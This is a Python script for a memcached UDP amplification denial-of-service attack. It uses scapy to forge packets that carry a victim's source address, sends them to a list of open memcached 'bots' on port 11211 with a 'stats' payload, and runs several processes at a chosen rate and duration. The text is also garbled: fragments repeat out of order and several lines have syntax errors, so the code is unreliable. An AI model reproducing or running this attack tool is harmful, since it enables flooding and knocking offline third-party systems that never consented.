while time.time() - start_time < duration:
server = random.choice(bots)
server = server.strip()
try:
packet = (
IP(dst=server, src=target_ip)
/ UDP(sport=int(target_port), dport=11211)
/ Raw(load=payload)
)
send(packet, verbose=False)
time.sleep(len(packet) / bytes_per_sec)
except Exception as e:
print(
f"{Fore.MAGENTA}Error while sending forged UDP packet\n{Fore.MAGENTA}{e}{Fore.RESET}"
)
else:
print(
f"{Fore.GREEN}[+] {Fore.YELLOW}Sent forged UDP packet from bot {server} to {'{}:{}'.format(*target)}.{Fore.RESET}"
)
def send2attack(target_ip, target_port, duration, rate_mbps, numprocesses):
processes = []
for in range(num_processes):
mp = multiprocessing.Process(target=attack, args=(target_ip, target_port, duration, rate_mbps))
mp.daemon = True # Set daemon to True for automatic termination when the main program exits
processes.append(mp)
mp.start()
import sys import random import time import multiprocessing from scapy.all import IP, UDP, send, Raw from colorama import Fore
Load Bots list
with open("botmemcached.txt", "r") as f: bots = f.readlines()
Payload
payload = "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n"
def attack(target_ip, target_port, duration, rate_mbps): target = (target_ip, int(target_port)) start_time = time.time() bytes_per_sec = rate_mbps 1024 1024 / 8
def send2attack(target_ip, target_port, duration, rate_mbps, numprocesses): processes = [] for in range(num_processes): mp = multiprocessing.Process(target=attack, args=(target_ip, target_port, duration, rate_mbps)) mp.daemon = True # Set daemon to True for automatic termination when the main program exits processes.append(mp) mp.start()
def main(): if len(sys.argv) != 6: print("Usage: python3 memcached.py ")
sys.exit(1)
if name == "main": main()